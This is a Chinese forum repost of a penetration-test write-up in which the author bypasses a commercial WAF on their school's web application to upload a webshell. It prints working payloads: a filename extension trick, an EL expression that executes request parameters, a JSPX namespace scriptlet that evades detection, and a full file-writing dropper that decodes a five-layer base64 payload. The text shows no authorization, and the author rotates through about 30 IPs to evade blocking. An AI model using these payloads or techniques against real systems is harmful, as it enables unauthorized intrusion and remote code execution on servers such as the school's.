安全矩阵

 找回密码
 立即注册
搜索
查看: 2235|回复: 0

记一次绕过waf的任意文件上传

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-5-28 14:57:48 | 显示全部楼层 |阅读模式
原文地址:https://mp.weixin.qq.com/s?__biz ... e8343acbb61916b7#rd
记一次绕过waf的任意文件上传John [url=]猪猪谈安全[/url] 2022-05-26 19:00 发表于江西
前言前几天对自己学校进行的一次渗透测试,由于深信服过于变态,而且拦截会直接封ip,整个过程有点曲折
期间进行了后缀名绕过,jspx命名空间绕过、获取网站根目录、base64五层编码写入shell等操作

0x01 获取网站接口主界面:
编辑
上传点:
编辑
由于该应用是内嵌企业微信的套皮Html,所以我们首先用Burp Suite抓包获取接口和cookie
编辑
任意文件上传:
编辑

文件名强制命名为code+学号,后缀为最后一次点号出现之后的字母
0x02 后缀名绕过代码不限制后缀名,但是waf限制呀!
后缀名jsp,jspx会拦截,但是jspp,jspxx等不会拦截
所以要利用windows特性绕过,常规的绕过手法例如末尾加点号、:DATA均无法绕过
​编辑
经过fuzz,发现正斜杠可以绕过
​编辑
0x03 内容绕过常见的jsp标记均无法绕过
​编辑
编辑
所以我们得绕过JSP标记检测,这里参考了yzddmr6师傅的两种 绕过方法

           
  •         jspEL表达式绕过

           
  •         jspx命名空间绕过

第一种是利用${}标记
payload:${Runtime.getRuntime().exec(request.getParameter("x"))}
但深信服waf过滤了一句话,需要变形绕过
鄙人太菜了,不了解相关函数的变形绕过,所以选择第二种写法
第二种是利用命名空间的特性
参照yzddmr6师傅的图:
编辑
使用自定义的命名空间,替换掉jsp的关键字
将原本的<jsp:scriptlet>替换成<自定义字符:scriptlet>
这样waf的正则匹配不到<jsp:scriptlet>自然就会放行

           

  •        

  •        

  •        

  •        

<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:scriptlet>        out.println(30*30);    </hi:scriptlet></hi>
编辑
编辑
0x04 获取网站路径这里我们不能用相对路径来写入webshell
因为Tomcat与Apache不同,根目录并不是以代码运行位置决定所在的目录,而是默认为Tomcat/bin作为根目录

           

  •        

  •        

# 获取当前的根目录String path = System.getProperty("user.dir");out.println(path);
编辑

           

  •        

  •        

# 获取web项目所在的目录String path = application.getRealPath("test.jsp");out.println(path);​编辑
所以写入shell的绝对路径应为D:/tomcat8/webapps/declare/static/upload/test.jsp
0x05 编码或加密绕过waf写入shell菜鸡的payload:

           

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

  •        

<hi xmlns:hi="http://java.sun.com/JSP/Page">    <hi:directive.page import="java.util.Base64,java.io.*"/>    <hi:scriptlet>        File file = new File("D:/tomcat8/webapps/declare/static/upload/test.jsp");        FileWriter fileOut = new FileWriter(file);        Base64.Decoder base64 = Base64.getDecoder();        byte[] str = base64.decode(base64.decode(base64.decode(base64.decode(base64.decode(request.getParameter("x").getBytes("utf-8"))))));        try {            fileOut.write(new String(str, "utf-8"));            out.println("写入成功");        } catch (Exception e) {            e.printStackTrace();        } finally {            try {                if (fileOut != null) {                    fileOut.close();                }        } catch (Exception e) {                e.printStackTrace();            }        }    </hi:scriptlet></hi>一开始我是用两层base64编码,还是被检测了,经过fuzz发现五层编码即可绕过
鄙人太懒了,不想重新造轮子。如果各位师傅有时间的话,遇到这种waf建议用RSA、AES等加密算法绕过
​编辑
成功getshell,System权限
编辑
看了一眼依赖,可能存在log4j2和jackson的RCE,留着下次当靶场继续测试
编辑
0x06 总结深信服的waf算挺强了,而且也足够恶心,检测可疑行为直接封ip,光是fuzz就用掉了快30个ip了
学校其他站点有thinkphp5.0.23 RCE、泛微8.0前台sql注入的漏洞,但都有这个waf,实在没有耐心一个个fuzz
本菜鸡第一次写文,如有错误或建议欢迎指出,各位师傅们轻喷

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 04:51 , Processed in 0.015069 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表